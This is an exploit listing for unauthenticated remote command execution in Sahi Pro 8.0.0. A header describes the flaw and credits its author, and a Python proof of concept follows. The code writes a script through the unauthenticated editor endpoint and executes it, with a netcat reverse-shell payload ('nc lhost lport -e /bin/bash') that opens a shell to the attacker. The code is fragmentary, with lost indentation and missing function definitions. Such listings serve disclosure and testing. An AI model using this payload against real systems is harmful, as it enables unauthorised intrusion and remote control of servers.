# Exploit Title: Sahi Pro V8.0.0 - Unauthenticated Remote Command Execution
# Date: 2019-07-12
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: https://sahipro.com
# Software Link: https://sahipro.com/static/builds/pro/install_sahi_pro_v800_20181031.jar
# Reference: https://pentest.com.tr/exploits/Sahi-Pro-v8-x-Unauthenticated-RCE-Exploit-Python.html
# Version: 8.0.0
# Category: Webapps
# Tested on: Linux 4.19.0-kali4-amd64 #1 SMP Debian 4.19.28-2kali1 (2019-03-18) x86_64 GNU/Linux
# Description: Sahi allows you to run ".sah" scripts by Sahi Launcher. Also you can create a new script with editor.
# It is possible to execute commands on the server using the function "_execute()".
# This exploit creates a new sahi script that runs "netcat" on the server and opens a shell session.
# It can take 5-20 seconds to receive session.
# ==================================================================
# PoC:
if runsah.status_code == 200:
print (Fore.GREEN + "+ [*] Script was executed. Please wait for the session...")
else:
print (Fore.RED + "+ [X] Failed to run script.")
sys.exit()
def create_sah(rhost,rport,scdir,lhost,lport):
filename = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(7)) + ".sah"
payload = "_execute%28%27nc+"+lhost+"+"+lport+"+-e+%2Fbin%2Fbash%27%29%0A" # it depends I used netcat for PoC
sahuri = "http://"+rhost+":"+rport+"/_s_/dyn/pro/EditorUI_saveScript?"+urllib.urlencode({ 'dir' : scdir})+"&file="+filename+"&contents="+payload+""
saheaders = {"Connection": "close"}
sahreq = requests.get(sahuri, headers=saheaders)
if sahreq.status_code == 200:
print (Fore.GREEN + "+ [*] "+filename+" script created successfully!")
execute_command(rhost,rport,filename)
else:
print (Fore.RED + "+ [X] Failed to create "+filename+" script.")
sys.exit()
if not check_nc(rhost,rport):
print (Fore.RED + "+ [*] Please listen to the port required for the session and run exploit again!")
else:
create_sah(rhost,rport,scdir,lhost,lport)